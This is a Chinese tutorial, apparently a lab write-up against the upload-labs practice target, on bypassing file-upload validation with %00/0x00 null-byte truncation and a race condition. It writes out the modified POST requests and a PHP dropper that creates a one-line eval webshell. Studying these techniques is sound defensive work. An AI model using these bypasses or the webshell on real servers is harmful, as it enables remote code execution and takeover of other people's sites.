
文件上传——目录截断绕过、条件竞争绕过
目录截断绕过
%00截断
适用于url传参
在文件上传功能中,若应用程序对上传文件的校验仅依赖于文件名后缀,就可能存在 %00 截断漏洞。
空字符的特性:在许多编程语言和系统中,字符串是以空字符 \0 作为结束标志的。这意味着在处理字符串时,遇到空字符时将停止读取该字符串。因此,如果在文件名中插入 %00(即空字符),后续的所有字符都将被忽略。
1.将带有恶意语句的1.php修改为1.jpg上传,抓包
2.在post请求中添加目录
POST /upload/Pass-12/index.php?save_path=../upload/ HTTP/1.1
POST /upload/Pass-12/index.php?save_path=../upload/1.php%00 HTTP/1.1
3.加载上传的文件
此时显示404错误,这是正常的
观察url,1.php文件目录下还存在一个jpg文件
而在传递的url中%00将后面的jpg截断了,所以直接将后面多余的url删除
直接访问
http://172.29.230.183/upload/upload/1.php
此时恶意文件成功上传到了服务器
0x00截断
适用于post传参
0x00截断与%00截断原理类似
但它的文件路径不会出现在url中,在修改文件路径后在末尾直接添加“0x00”是错误的,服务器会认为这仍是一个字符串
因此需要通过inspetor模块对00进行16进制编码(在文件末尾输入一个空格然后选中就会显示这个界面)
上传文件成功后,访问文件,依旧删除多余的url,恶意文件就上传成功了
条件竞争绕过
原理
服务器处理不同用户请求时通常是并发进行的。正常情况下,开发者期望代码按线性顺序执行,但实际中并行服务器会并发执行多个线程。若并发处理不当,或相关操作逻辑顺序设计不合理,没有正确处理线程同步,就会出现问题。比如多个线程同时访问和修改共享资源(像内存、文件、网络连接 、数据库连接等 )时,由于执行顺序不确定,最终结果可能不可预测,导致数据不一致、系统崩溃甚至数据丢失等情况 。
文件操作
比如在文件上传功能中,服务器先检查文件是否合法,合法则保存到指定目录。攻击者利用多线程发起大量并发请求上传文件,可能在检查和保存的间隙,让恶意文件绕过检查被保存,实现文件上传漏洞利用 。
思路
文件会先到服务器上,然后服务器再进行判断是否合法,不合法的再进行删除
只需要在服务器删除这个非法文件之前,创建木马即可
设置两个攻击点
第一个负责对服务器发送上传文件(恶意脚本)请求
php脚本内容:
<?php fputs(fopen('shell.php', 'w'),'<?php @eval($_POST["a"])?>');'?>
# 将一句话木马写入shell.php文件中,若文件不存在则创建新文件
第二个负责打开上传的文件,一旦打开该文件则会创建shell.php到服务器中
而服务器(反应过来后)会删除该上传的文件,但是却无法检测到shell.php文件,从而实现了绕过